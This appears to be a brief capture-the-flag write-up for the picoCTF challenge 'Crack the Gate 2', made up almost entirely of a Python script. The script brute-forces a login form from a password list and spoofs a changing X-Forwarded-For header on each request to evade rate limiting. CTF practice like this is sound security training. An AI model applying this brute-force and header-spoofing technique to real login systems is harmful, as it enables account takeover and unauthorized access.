Crack the Gate 2

import requests

url = "http://amiable-citadel.picoctf.net:55282/login"


tmp = 0

with open("passwords.txt", "r", encoding="utf-8") as f:
    for line in f:
        tmp += 1
        password = line.strip()
        data = {
            "email": "ctf-player@picoctf.org",
            "password": password
        }


        headers = {
        "Accept-Language": "en-US,en;q=0.9",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "Content-Type": "application/json",
        "Accept": "*/*",
        "Origin": "http://amiable-citadel.picoctf.net:56535",
        "Referer": "http://amiable-citadel.picoctf.net:56535/",
        "X-Forwarded-For": f"2.2.2.{tmp}"
        }


        response = requests.post(url, headers=headers, json=data)

        try:
            body = response.json()
        except:
            body = {}

        if(body.get("success")):
            print("password found: " + password)
        print(response.text)

made by k0d

Last updated